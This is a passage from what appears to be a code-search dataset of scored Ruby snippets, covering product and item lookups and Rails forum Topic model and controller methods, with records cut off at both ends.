"c4641eec91a6c39414537c9c0fcfdd6b", "score": "0.58612025", "text": "def item_id\n params['cs1']\n end", "title": "" }, { "docid": "46d023ecc12380f7f953cf0e506e4964", "score": "0.585194", "text": "def product_name; end", "title": "" }, { "docid": "04cde2f0ae221863e5bea46e92e25031", "score": "0.5851338", "text": "def source_item\n source.item_by_product_and_code(product, lot_code)\n end", "title": "" }, { "docid": "c6ade3fc4e4f6eaf611083da399aa99e", "score": "0.5845436", "text": "def product_tag\n @product_id ||= node.product_id\n case @product_id\n when /N3K-C35/\n tag = 'n35'\n when /N3/\n tag = Utils.fretta? ? 'n3k-f' : 'n3k'\n when /N5/\n tag = 'n5k'\n when /N6/\n tag = 'n6k'\n when /N7/\n tag = 'n7k'\n when /N9/\n tag = Utils.fretta? ? 'n9k-f' : 'n9k'\n else\n fail \"Unrecognized product_id: #{@product_id}\"\n end\n tag\n end", "title": "" }, { "docid": "923bdf97dbd4572b7af56785f9907e68", "score": "0.5841497", "text": "def get_serial_number(data)\n data['product']['serial_number'] || 'n/a'\n end", "title": "" }, { "docid": "881836e57bfad2b97b26159d5e0333f1", "score": "0.5833227", "text": "def product_info\n params['productinfo']\n end", "title": "" }, { "docid": "356268950fc7f85cbbbe40a94c3d8bb4", "score": "0.5823388", "text": "def catalog_item\n item_unit.catalog_item\n end", "title": "" }, { "docid": "f515bb7daedb599cdf7f3dc8b891cfcb", "score": "0.57978946", "text": "def productinfo\n \tif self.barcode.present?\n \t\tproduct = ProductList.where(list_barcode: self.barcode)\n\t \tif product.present?\n\t \t\tproduct.first.name + \" (\" + self.barcode + \")\"\n\t \telse\n\t \t\t\"<span style=color:violet;font-weight: normal; font-size:11px;>No barcode found in Product (Sell) List </span>\"\n\t \tend\n \telse\n \t\t\"<span style=color:violet;font-weight: normal; font-size:11px;>No barcode found in Product stock </span>\"\n \tend\n \t\n \n end", "title": "" }, { "docid": "705b6fb379e2a2cbb229d58fec3d5354", "score": "0.5795839", "text": "def kind\n @purchase.kind\n end", "title": "" }, { "docid": "f94dab9fe9ef08dd7c62f4596583226f", "score": "0.577139", "text": "def promotional_offer_id\n read('promotional_offer_id')\n end", "title": "" }, { "docid": "abbd52bfec76c8ed6b9feef1dbde7706", "score": "0.57706237", "text": "def add_purchase(customer_id, product_id)\n item = DirectedEdge::Item.new(@database, \"customer#{customer_id}\")\n item.link_to(\"product#{product_id}\")\n item.save\n end", "title": "" }, { "docid": "8fd8cef6b508a7aa66a2f3938d15b810", "score": "0.5770293", "text": "def product_codes\n data[:product_codes]\n end", "title": "" }, { "docid": "1958352883e14b7338c0f9d5d76150d4", "score": "0.5761934", "text": "def enriched_key\n \"product.#{service.id}.#{id}\"\n end", "title": "" }, { "docid": "d2dedd5058fc1775e2c3b94cdeef35e3", "score": "0.5759044", "text": "def getProduct(id)\n @products.find {|prod| prod.productId.to_i == id.to_i}\n end", "title": "" }, { "docid": "498b679557239b0e2f7460b410aaf85a", "score": "0.57490605", "text": "def set_product_item\n @product_item = @brand.items.find(params[:id])\n end", "title": "" }, { "docid": "42688f7390dd63493550d7d2b15f0120", "score": "0.5733151", "text": "def product_info\n params['productinfo']\n end", "title": "" }, { "docid": "65daac2f069c470897d84e7a1eab7205", "score": "0.57320875", "text": "def live_lookup_item_id\n id || folio_item&.id || barcode\n end", "title": "" }, { "docid": "2a03fbaac8e25aa954cb5f1f04106789", "score": "0.5725225", "text": "def sku\n item_hash.deep_find(:sku)\n end", "title": "" }, { "docid": "97d6bc6ae168b6359fbf2f6e4ac9c35a", "score": "0.57205", "text": "def get_product_by_id(product_id)\n return Product.find(product_id)\n end", "title": "" }, { "docid": "3b7827cad5a5bc659b91734c88087c41", "score": "0.57201064", "text": "def key\n self.class.item_name\n end", "title": "" }, { "docid": "df740a73b13204abbbfcd14fd5fbc003", "score": "0.5718871", "text": "def set_purchased_item\n @purchased_item = PurchasedItem.find(params[:id])\n end", "title": "" }, { "docid": "df740a73b13204abbbfcd14fd5fbc003", "score": "0.5718871", "text": "def set_purchased_item\n @purchased_item = PurchasedItem.find(params[:id])\n end", "title": "" }, { "docid": "13b720a0e8bede4b62870857a58f1e44", "score": "0.5716253", "text": "def product\n product_sold = nil\n products = FarMar::Product.all\n products.each do |product|\n if product.id == self.product_id\n product_sold = product\n return product_sold\n end#of if\n end#of do\n end", "title": "" }, { "docid": "69fba0ccfc088e62bbc497121d874006", "score": "0.57089686", "text": "def get_product_info\n @client.call(self.class, __callee__.to_s, @call_params)\n end", "title": "" }, { "docid": "97cccd266b660ba0a15c5487fcd7c54e", "score": "0.57083756", "text": "def product_key=(value)\n @product_key = value\n end", "title": "" }, { "docid": "97cccd266b660ba0a15c5487fcd7c54e", "score": "0.57083756", "text": "def product_key=(value)\n @product_key = value\n end", "title": "" }, { "docid": "81cf3d734bbf53039da50bbd651e0a8c", "score": "0.5704553", "text": "def existing_magento_id(sku)\n magento_id = nil\n\n if magento_product = Magento::ProductAdapter.find_by(sku: sku)\n magento_id = magento_product[:product_id].to_i\n magento_id = nil unless magento_id > 0\n end\n\n return magento_id\n end", "title": "" }, { "docid": "e7bb2a25f8a4c72a4eb5411f6468cdb7", "score": "0.5688568", "text": "def product_name\n return product_presentation.name if product_presentation\n return \"\"\n end", "title": "" }, { "docid": "f8048e30936e47533d2c2d820e1687cc", "score": "0.568797", "text": "def item_name\n return if self.item_id.nil?\n\n # TODO: Redundant now\n if self.item_id.present?\n self.item_id\n else\n self.item.name\n end\n end", "title": "" }, { "docid": "7b8801a45cde8cf37b56c7cc88e8b69a", "score": "0.56555176", "text": "def item_name\n return GameData::Item[item_db_symbol].name\n end", "title": "" }, { "docid": "fa2edee91058277143dff5267849e50e", "score": "0.56521237", "text": "def uid\n read_attribute('uid').present? ? read_attribute('uid') : \"item_#{self.object_id}\"\n end", "title": "" }, { "docid": "235a0b3b7158e8446f7fa605915def2a", "score": "0.5650805", "text": "def identifier\n @info.identifier\n end", "title": "" }, { "docid": "235a0b3b7158e8446f7fa605915def2a", "score": "0.5650805", "text": "def identifier\n @info.identifier\n end", "title": "" }, { "docid": "e87c1e4d975097e00f001aeea03eba98", "score": "0.5647881", "text": "def sg_get_random_product_id(duplicate_item = nil)\n arr_id = []\n\n # get all id of product on catalog page\n product_list_div.each do |product|\n arr_id.push(product['id'])\n end\n\n # Remove duplicate items\n arr_id.delete(duplicate_item) unless duplicate_item.nil?\n\n # return random product id\n arr_id[rand(arr_id.count - 1)]\n end", "title": "" }, { "docid": "e87c1e4d975097e00f001aeea03eba98", "score": "0.5647881", "text": "def sg_get_random_product_id(duplicate_item = nil)\n arr_id = []\n\n # get all id of product on catalog page\n product_list_div.each do |product|\n arr_id.push(product['id'])\n end\n\n # Remove duplicate items\n arr_id.delete(duplicate_item) unless duplicate_item.nil?\n\n # return random product id\n arr_id[rand(arr_id.count - 1)]\n end", "title": "" }, { "docid": "2cc1b7e9f5603251a03ac0a0c72745c4", "score": "0.56414163", "text": "def order_id\n @row[\"売上ID\"].to_s\n end", "title": "" }, { "docid": "9a33a850f1e23b2f4a0922fee42e5b41", "score": "0.5626877", "text": "def subject\n return self.order(self.order_id).order_goods[0].order_item_info_str\n end", "title": "" }, { "docid": "1cb14b4da0ed27bb5c43c58954c17e8d", "score": "0.56189746", "text": "def product_name\n options = extensions[:Middlemac].options\n options.Targets[options.Target][:ProductName]\n end", "title": "" } ]
90e2e88a53178b6de832be18bdaf16fe
This sweeper is going to keep an eye on the Topic model If our sweeper detects that a topic was created call this
[ { "docid": "2f0de2ef78ecb17d044e1ccc4f7f188e", "score": "0.0", "text": "def after_save(topic)\n expire_cache_for(topic)\n end", "title": "" } ]
[ { "docid": "821606caaf2e725aa0848dc38a2e1fbd", "score": "0.6924355", "text": "def topic_class\n Topic\n end", "title": "" }, { "docid": "18f20f0286413052699da38eaee2821d", "score": "0.69017553", "text": "def new\n\t\t@topic = Topic.new\n\tend", "title": "" }, { "docid": "f7afce75c14d505084e3823131eb7d17", "score": "0.6871934", "text": "def set_topic\n if action_name == 'new' || action_name == 'create'\n @topic = Topic.new\n else\n @topic = Topic.find(params[:id])\n end\n end", "title": "" }, { "docid": "d0c2b0ba8ce077faae21a67ddcea2b3d", "score": "0.6832369", "text": "def new\n @Topic = Topic.new\n end", "title": "" }, { "docid": "393d4298d26be67757756a164d5fa25f", "score": "0.68266", "text": "def new\n @topic = Topic.new\n end", "title": "" }, { "docid": "393d4298d26be67757756a164d5fa25f", "score": "0.68266", "text": "def new\n @topic = Topic.new\n end", "title": "" }, { "docid": "fabfc46031dff0c8a8843c465f9aa389", "score": "0.6802343", "text": "def create\n @topic = Topic.new(params[:topic])\n @topic.user = current_user\n\n respond_to do |format|\n if @forum.topics << @topic\n flash[:notice] = '{object} was successfully {action}.'[:object_action_notice, \"Topic\"[], \"created\"[]]\n format.html { redirect_to(forum_topic_path(@forum, @topic)) }\n format.xml { render :xml => @topic, :status => :created, :location => @topic }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0a637a4b07c0122a5cb93472fd329b51", "score": "0.67763084", "text": "def create\r\n @topic = @forum.topics.create(params[:topic])\r\n #@topic = Topic.new(params[:topic])\r\n @topic.updated_time = Time.now.to_s\r\n @topic.user_id = current_user.id\r\n @topic.user_name = current_user.name\r\n @topic.counter = 0 \r\n respond_to do |format|\r\n if @topic.save\r\n format.html { redirect_to(forum_path(@forum)) }\r\n format.xml { render :xml => @topic, :status => :created, :location => @topic }\r\n else\r\n format.html { render :action => \"new\" }\r\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "5b07aa645d5efbf2af43d81fccaf16fa", "score": "0.6754711", "text": "def new\n\t\t@topic = Topic.new\n\n assert(@topic.kind_of?(Topic))\n\n return @topic\n\tend", "title": "" }, { "docid": "c459958b88fbf43fba08691030b8fcf6", "score": "0.6689882", "text": "def create\n\t\t@topic = Topic.new(topic_params)\n\n assert(@topic.kind_of?(Topic))\n\n\t\tif @topic.save\n\t\t\tflash[:success] = t(:create_topic)\n\t\t\treturn redirect_to (@topic)\n\t\telse\n #nothing to do\n end\n\n\tend", "title": "" }, { "docid": "cb4c18ba59182a73719becabac76c540", "score": "0.6667792", "text": "def with_topic(topic)\n Validation.assert_is_a(String, topic, 'topic')\n @topics.push(topic)\n self\n end", "title": "" }, { "docid": "8a7f065b85af71579d16d332d9fbd740", "score": "0.6662361", "text": "def create_topics\n build_topics_from_topic_seeds\n run_topics_before_create_callbacks\n\n Topic.import(@topics)\n end", "title": "" }, { "docid": "dabe26258c52f73c305ef345938210be", "score": "0.66358304", "text": "def create_topic\n @dbTopic = @user.topics.create(:title => @subject)\n if @dbTopic.save\n create_bookmark\n else\n puts \"Topic not created\"\n #TopicMailer.error(@user, @dbTopic).deliver\n end\n end", "title": "" }, { "docid": "876865f62172d02edc48a1a5b8bbac4a", "score": "0.66181225", "text": "def create\n @topic = @forum.topics.new topic_params\n @topic.last_poster_id = current_user.id\n @topic.user = current_user\n @topic.posts.first.user_id = current_user.id\n @topic.posts.first.topic = @topic\n\n respond_to do |format|\n if @topic.save\n # @topic.posts.create(content: posts_attributes(:content), forum_id: @forum.id, topic_id: @topic.id, user_id: current_user.id)\n\n format.html { redirect_to forum_topic_path(@forum, @topic), notice: 'Topic was successfully created.' }\n format.json { render :show, status: :created, location: @topic }\n else\n format.html { render :new }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4cf03b17537a42de3a74df11e78e2cd8", "score": "0.6615489", "text": "def topic\n reload!\n @topic\n end", "title": "" }, { "docid": "ae24102d500ba5a131106fd2b77b166a", "score": "0.6609323", "text": "def create\n @topic = Topic.new(params[:topic])\n @topic.author = current_user\n\n respond_to do |format|\n if @topic.save\n FeedsManager.new(current_user, 'create', @topic).generate\n format.html { redirect_to @topic, notice: t(\"topics.topic_created\")}\n format.json { render json: @topic, status: :created, location: @topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a4db5ac6730b68bad35843e6fde15dc0", "score": "0.65918016", "text": "def create\n requires :name\n\n service.create_topic(name)\n self\n end", "title": "" }, { "docid": "76bb69ff0d082e311e6283c8d4eb595e", "score": "0.65617347", "text": "def assign_topics\n owner.boardless_topics.each do |topic|\n topics << topic\n topics_counter.increment!\n topic.posts.each do |post|\n post.update_attribute(:board, self)\n posts_counter.increment!\n end\n end\n end", "title": "" }, { "docid": "5e5df465f08e3d2d3a42ef7b564fb775", "score": "0.6557962", "text": "def create\n @topic = Topic.new(topic_params)\n\n if @topic.save\n flash[:success] = 'Your topic has been saved and waiting for admin aproval in order to be listed'\n redirect_to topics_path\n else\n flash[:errors] = @topic.errors\n redirect_to request.referer\n end\n\n end", "title": "" }, { "docid": "b8851140632f5bd282edc7b2d98ac295", "score": "0.6533354", "text": "def topic\n\t\treturn @topic ||= get_topic\n\tend", "title": "" }, { "docid": "c0ce377430494d4cddc51cb3705bdfa2", "score": "0.6533235", "text": "def add\n # Prepare a GUID for a default Topic ID\n produce_uuid # @view_state[:uuid]\n end", "title": "" }, { "docid": "894558273e498bc84b263093d1f53d27", "score": "0.6526169", "text": "def from_topic(topic)\n @topic = topic\n setup_post\n self\n end", "title": "" }, { "docid": "385b746a79a7e6087bc9bd47e418e7e9", "score": "0.6519767", "text": "def topic\n return @topic if @topic\n @topic = object.topic || Topic.with_deleted.find(object.topic_id)\n @topic\n end", "title": "" }, { "docid": "698f881f831e87b5c3d68921fdea3565", "score": "0.6518785", "text": "def new\n @topic = current_user.topics.new(:body => Body.new)\n end", "title": "" }, { "docid": "39c7bd67b3c656e528fdaf5b9d02dd56", "score": "0.65089893", "text": "def create \n # Add last post time and user name\n \n @forums_topic = Forums::Topic.new(params[:forums_topic])\n \n # Extra Params\n @forums_topic.last_post_at = Time.now\n @forums_topic.last_poster_id = current_user.id\n @forums_topic.user_id = current_user.id\n @forums_topic.post.user_id = current_user.id\n \n # Finallise the save.\n respond_to do |format| \n if @forums_topic.save \n format.html { redirect_to(@forums_topic, :notice => 'Topic was successfully created.') }\n format.xml { render :xml => @forums_topic, :status => :created, :location => @forums_topic }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @forums_post.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "461a5a85427c81547c8927e79fd6e69d", "score": "0.65089", "text": "def create_topic(topic, &block)\n t = OmfCommon::Comm::Local::Topic.create(topic)\n if block\n block.call(t)\n end\n t\n end", "title": "" }, { "docid": "40a1f2819eec0fd4d1e3de2a8d997f5e", "score": "0.650725", "text": "def create\n @topic = Topic.new(params[:topic])\n @topic.project = @project\n @topic.user = current_user\n @topic.posts.first.user = current_user\n respond_to do |format|\n if @topic.save\n format.html { redirect_to([@project, @topic], :notice => 'Topic was successfully created.') }\n format.xml { render :xml => @topic, :status => :created, :location => @topic }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2a5c330aa14d43f00dd1e8c03557be59", "score": "0.6502038", "text": "def create\n @topic = Topic.new(params[:topic])\n\n # Make sure the new topic belongs to the current user\n @topic.owner = current_user\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to @topic, notice: 'Topic was successfully created.' }\n format.json { render json: @topic, status: :created, location: @topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3a1a7d95c85a4320be93cf2ee5427cca", "score": "0.64993626", "text": "def create\n\t @langs = define_langs(params[:lang_option])\n @topic = Topic.new(\n\t\t\t\t:name => sanitize_content(params[:topic][:name]), \n\t\t\t\t:last_post_at => Time.now, \n\t\t\t\t:last_poster_id => current_user.id,\n\t\t\t\t:user_id => current_user.id,\n\t\t\t\t:fcategory_id => params[:topic][:fcategory_id],\n\t\t\t\t:forum_id => params[:topic][:forum_id],\n\t\t\t\t:lang=>@langs[0],\n\t\t\t\t:to_lang=>@langs[1],\n\t\t\t\t:views =>0)\n\n\t if has_nickname?(current_user)\n\t\t\t@verify = check_topic_content(params[:topic][:name], params[:post][:content])\n\t\t if @verify < 1\n\t\t if @topic.save \n\t\t\t@post = Post.new(:content => sanitize_content(params[:post][:content]), :topic_id => @topic.id, :user_id => current_user.id)\n\t\t\t@post.save\n\t\t\t\tcurrent_user.favorites.create(:topic_id=>@topic.id)\n\t\t\t\t#flash[:notice] = \"Successfully created topic.\"\n\t\t\t\tredirect_to :controller=> 'topics', :action=>'show', :id=>@topic.id \n\t\t else \n\t\t\terror = '1'\n\t\t\t#flash[:notice] = \"Topic not saved\"\n\t\t\tredirect_to :action => 'new', :forum=>params[:topic][:forum_id], :er=>error\n\t\t end\n\t\t else\n\t\t\tredirect_to :action => 'new', :forum=>params[:topic][:forum_id], :er=>@verify.to_s\n\t\t end\n\t else\n\t back_rescued\n\t end\n end", "title": "" }, { "docid": "9018abf6117855c125e4588998cf3c65", "score": "0.6495266", "text": "def new\n @topic = Topic.new(category_id: @category.id, name: '', content: '', user_id: session[:id])\n @categories = Category.sorted\n @topic_count = Topic.count + 1\n end", "title": "" }, { "docid": "ac8e38ad051ceb06c3ab22577f730e7b", "score": "0.64934975", "text": "def topic_t\n self.class.topic_t\n end", "title": "" }, { "docid": "c0243b803ce2247f6b882f746cc93657", "score": "0.6482802", "text": "def create\n @topic = Topic.new(topic_params)\n if @topic.save\n redirect_to root_path, notice: \"Topic #{@topic.caption} was successfully created under #{@topic.super_topic.caption}\" \n else\n render :new\n end\n end", "title": "" }, { "docid": "454593e87de14736992d4db405f18b4b", "score": "0.6479077", "text": "def create\n @forum_group = ForumGroup.get(params[:forum_group_id])\n @forum= Forum.get(params[:forum_id])\n redirect_to [@forum_group, @forum], :notice => \"Not allowed!\" unless current_user.can_write(@forum)\n @topic = @forum.topics.new(params[:topic])\n @topic.author = current_user\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to([@forum_group,@forum], :notice => 'Topic was successfully created.') }\n format.xml { render :xml => @topic, :status => :created, :location => @topic }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "10e32c2376cde3a26f2712fb9457e26d", "score": "0.6474818", "text": "def topic(t)\n if t.kind_of? javax.jms.Topic\n t\n else\n @sess.createTopic(tname)\n end\n end", "title": "" }, { "docid": "828ec66a07ca9eccda2a9bd6005303e3", "score": "0.64658177", "text": "def create\n @topic = Topic.new(params[:topic])\n if @topic.save\n redirect_to @topic, notice: 'How To Topic was successfully created.' \n else\n flash[:alert] = \"How To Topic was not created.\"\n render action: \"new\"\n end\n end", "title": "" }, { "docid": "7ced5556f7da6407c0b5fd14d0fc3752", "score": "0.645529", "text": "def create\n @subject = Subject.find(params[:subject_id])\n #@topic = @subject.topics.create(params[:topic])\n @topic = Topic.new(params[:topic])\n @topic.user = current_user\n @topic.subject = @subject\n \n respond_to do |format|\n if @topic.save\n format.html { redirect_to(@subject, :notice => t(:topic_create_success)) }\n #format.xml { render :xml => @subject, :status => :created, :location => @subject }\n else\n format.html { render :action => \"new\" }\n #format.xml { render :xml => @subject.errors, :status => :unprocessable_entity }\n end\n end\n\n end", "title": "" }, { "docid": "bce168b0d45e37f4c339ff50faa5be6b", "score": "0.645321", "text": "def create_topic\n @page_title = 'New Topic'\n @forum = Forum.find_by_name params[:forum_name]\n \n if @forum == nil\n flash[:warning] = 'Invalid forum specified.'\n redirect_to :back\n return \n end\n \n case request.method\n when :post \n @post = ForumPost.new (params[:post],current_user) \n if @post.one_line_summary == '' or @post.body == ''\n flash[:warning] = 'Cannot create a topic with empty subject or empty body.'\n redirect_to :back\n return \n end \n \n @topic = ForumTopic.new (@forum,current_user) \n @topic.posts << @post\n if @topic.save\n flash[:notice] = 'Topic added.'\n redirect_to :action => 'view', :topic => @topic.id\n else\n flash[:warning] = 'Error creating a forum topic.'\n redirect_to :back\n end\n end\n end", "title": "" }, { "docid": "3382db38f2fb39887b5c4aaceb9c0dc7", "score": "0.64444035", "text": "def create\n topic = SignUpTopic.where(topic_name: params[:topic][:topic_name], assignment_id: params[:id]).first\n if topic.nil?\n setup_new_topic\n else\n update_existing_topic topic\n end\n end", "title": "" }, { "docid": "d1bec625f76e64146d3e265d189c8218", "score": "0.64347917", "text": "def create\n @topic = Topic.new(params[:topic])\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to @topic, notice: t(\"helpers.create_info\",:model=>t('activerecord.models.topic')) }\n format.json { render json: @topic, status: :created, location: @topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "36533047e5f7cdce00c4127b6959d35d", "score": "0.64320254", "text": "def create\n @topic = current_user.topics.build(topic_params)\n\n respond_to do |format|\n if @topic.save\n track_activity @topic, 'create'\n format.html { redirect_to @topic, notice: 'Topic was successfully created.' }\n format.json { render action: 'show', status: :created, location: @topic }\n else\n format.html { render action: 'new' }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2db130f0479f3fe206997a44e978ac84", "score": "0.6429464", "text": "def new\n @title = \"Make new Topic\"\n @topic = Topic.new\n end", "title": "" }, { "docid": "f74a4898785b302cb1de2eefd05584de", "score": "0.6421751", "text": "def create\n \n \n @topic = Topic.new(params[:topic])\n \n \n \n respond_to do |format|\n if @topic.save\n format.html { redirect_to @topic, notice: 'topic was successfully created.' }\n format.json { render json: @topic, status: :created, location: @topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6b8b54bdb352552aa1db227e35bea3dd", "score": "0.6419906", "text": "def create\n @topic = Topic.new(params[:topic])\n\t\t@topic.user_id = session[:user_id]\n\t\t@topic.node_id = User.find(session[:user_id]).node_id\n\n if @topic.save\n redirect_to topics_path\n else\n render(:action => :new)\n end\n end", "title": "" }, { "docid": "81bcc3998710660b4fe4dbea8f0314a6", "score": "0.64145035", "text": "def topic_instance?\n Topic.topic_instance?(self.id)\n end", "title": "" }, { "docid": "8af76af7ae990ff33ae44f06c651099f", "score": "0.64143044", "text": "def create\n @topic = Topic.new(topic_params)\n @topic.user_id = current_user.id\n\n if @topic.save\n redirect_to(topic_path(@topic.id), notice: t('homeland.topic_created'))\n else\n render action: \"new\"\n end\n end", "title": "" }, { "docid": "086528c0e205372245206168bdacd601", "score": "0.64091843", "text": "def on_post(path)\n return unless self.user_is_administrator?\n \n # Make sure topic info has required fields.\n topic_info = I3.server.receive_object\n unless topic_info.name.to_s.size > 0\n I3.server.send_error(\n :status => \"400 Bad Request\",\n :title => \"Topic Name Required\",\n :message => \"The new topic must have a name.\");\n return\n end #unless\n \n # Make sure we don't already have a topic with this name.\n similar_topic =\n Topic.find(:first, :conditions => [\"name LIKE ?\", topic_info.name])\n unless similar_topic.nil?\n I3.server.send_error(\n :status => \"409 Conflict\",\n :title => \"Topic Name Must Be Unique\",\n :message => \"The new topic's name matches an existing topic.\",\n :help => \"Try a different name.\");\n return\n end #unless\n\n # Come up with a unique permalink.\n permalink_base = topic_info.name.to_permalink\n permalink = permalink_base\n next_index = 2\n while Topic.count(:conditions => [\"permalink = ?\", permalink]) > 0\n permalink = permalink_base + \"-\" + next_index.to_s\n next_index += 1\n end #while\n\n # Create the new topic.\n topic = Topic.new\n topic.name = topic_info.name\n topic.description = topic_info.description\n topic.permalink = permalink\n topic.is_external = false\n topic.is_locked = false\n topic.is_deleted = false\n topic.public_can_view = false\n topic.public_can_post = false\n topic.public_can_comment = false\n topic.save\n \n # Send response.\n I3.server.send_header(\"status\" => \"201 Created\")\n I3.server.send_object({\n :status => \"Created\",\n :location => \"/bboard/data/messages/\" + permalink\n })\n end", "title": "" }, { "docid": "7c411d6aab0cde33d44e21a70eadf73d", "score": "0.6408644", "text": "def create\n @topic = Topic.new(params[:topic])\n @topic.feedback = 0\n @topic.state = 1\n @topic.views = 0\n @topic.top = 0\n @topic.user_id = session[:current_user].id\n @topic.essence = 0\n respond_to do |format|\n if @topic.save\n format.html { redirect_to @topic, notice: 'Topic was successfully created.' }\n format.json { render json: @topic, status: :created, location: @topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "acff28efbacbd29df35b624a87550287", "score": "0.6398773", "text": "def create\n # @topic = Topic.new(params[:topic])\n # authorize! :create, @topics\n\n \n @topic.user_id = current_user.id\n @topic.last_poster_id = current_user.id\n @topic.last_post_at = Time.now\n \n Subscription.subscribe(@topic,current_user) \n \n respond_to do |format|\n if @topic.save\n format.html { redirect_to @topic, notice: 'Topic was successfully created.' }\n format.json { render json: @topic, status: :created, location: @topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1ac8b33cbfaed49319145d22aecae1ce", "score": "0.6395985", "text": "def create\n @topic = current_user.topics.new(params[:topic])\n if @topic.save!\n flash[:notice] = 'Topic was successfully created.'\n redirect_to(@topic)\n else\n render :action => \"new\"\n end\n end", "title": "" }, { "docid": "15349f7e9b8c02f40931a41527cbb1d0", "score": "0.6380603", "text": "def create\n json_create(topic_params, Topic)\n end", "title": "" }, { "docid": "ee4384b3dea121801c075f6223f38e00", "score": "0.6369254", "text": "def create\n @topic = Topic.new(topic_params)\n\n if @topic.save\n redirect_to @topic.topic_group, notice: 'Topic was successfully created.'\n else\n render action: 'new'\n end\n end", "title": "" }, { "docid": "088a649996e19647611e1f6b90188ef6", "score": "0.6361603", "text": "def new\n @topic = current_user.topics.new\n end", "title": "" }, { "docid": "75aacdf92d9c7ea541d901354bd19e6d", "score": "0.6360484", "text": "def set_topic\n @topic = Topic.find(params[:id])\n end", "title": "" }, { "docid": "75aacdf92d9c7ea541d901354bd19e6d", "score": "0.6360484", "text": "def set_topic\n @topic = Topic.find(params[:id])\n end", "title": "" }, { "docid": "75aacdf92d9c7ea541d901354bd19e6d", "score": "0.6360484", "text": "def set_topic\n @topic = Topic.find(params[:id])\n end", "title": "" }, { "docid": "75aacdf92d9c7ea541d901354bd19e6d", "score": "0.6360484", "text": "def set_topic\n @topic = Topic.find(params[:id])\n end", "title": "" }, { "docid": "75aacdf92d9c7ea541d901354bd19e6d", "score": "0.6360484", "text": "def set_topic\n @topic = Topic.find(params[:id])\n end", "title": "" }, { "docid": "75aacdf92d9c7ea541d901354bd19e6d", "score": "0.6360484", "text": "def set_topic\n @topic = Topic.find(params[:id])\n end", "title": "" }, { "docid": "75aacdf92d9c7ea541d901354bd19e6d", "score": "0.6360484", "text": "def set_topic\n @topic = Topic.find(params[:id])\n end", "title": "" }, { "docid": "75aacdf92d9c7ea541d901354bd19e6d", "score": "0.6360484", "text": "def set_topic\n @topic = Topic.find(params[:id])\n end", "title": "" }, { "docid": "75aacdf92d9c7ea541d901354bd19e6d", "score": "0.6360484", "text": "def set_topic\n @topic = Topic.find(params[:id])\n end", "title": "" }, { "docid": "75aacdf92d9c7ea541d901354bd19e6d", "score": "0.6360484", "text": "def set_topic\n @topic = Topic.find(params[:id])\n end", "title": "" }, { "docid": "75aacdf92d9c7ea541d901354bd19e6d", "score": "0.6360484", "text": "def set_topic\n @topic = Topic.find(params[:id])\n end", "title": "" }, { "docid": "3e506ac9d6ea0de876dfffb9fc5863fa", "score": "0.63542855", "text": "def create\n @topic = Topic.new(params[:topic])\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to(@topic, :notice => 'Topic was successfully created.') }\n else\n format.html { render :action => \"new\" }\n end\n end\n end", "title": "" }, { "docid": "4061495d3d426e52e6d88dc783e411a9", "score": "0.6348973", "text": "def create\n create_topic(params[:id], params[:label])\n redirect_to :action => 'edit', :id => @current_id\n end", "title": "" }, { "docid": "63bdc7428dbca53e9508f4e7310fb5fb", "score": "0.6348565", "text": "def create\n\t\t@new_topic = Topic.new\n\t\t@new_topic.title = topic_params[:title]\n\t\t@new_topic.description = topic_params[:description]\n\t\tbool = @new_topic.save\n\t\tif bool == true\n\t\t\tflash[:notice] = \"Topic successfully created\"\n\t\t\t@course = Course.find(course_params[:course_id])\n\t\t\t@course.topics << @new_topic\n\t\t\tredirect_to :controller => 'courses', :action => 'show', :id => course_params[:course_id]\n\t\t\tTopic.update_track_progression @new_topic\n\t\telse\n\t\t\tif @new_topic.errors.any?\n\t\t\t\tflash[:notice] = @new_topic.errors.full_messages.first\n\t\t\tend\n\t\t\trender :action => 'new'\n\t\tend\n\tend", "title": "" }, { "docid": "2509b2434a6419add3cf7396d00f4ea1", "score": "0.63454914", "text": "def create\n @category = Category.friendly.find(params[:category_id])\n @board = set_board\n @topic = @board.topics.new(topic_params)\n @topic.category_id = @category.id\n #@topic.user_id = current_user.id\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to [@category, @board, @topic], notice: 'Topic was successfully created.' }\n format.json { render action: 'show', status: :created, location: @topic }\n else\n format.html { render action: 'new' }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3542d8ff1df4f2735366bf36f4c0334a", "score": "0.6344155", "text": "def create\n\t\t@topic = Topic.new(params[:topic])\n\t\t@reply = @topic.replies.new(params[:reply])\n\t\t@reply.user_id = current_user.id\n\t\t@topic.user_id = current_user.id\n\t\t@topic.forum_id = params[:topic][:forum_id]\n\t\t@topic.last_poster_id = current_user.id\n\t\t@topic.last_post_at = 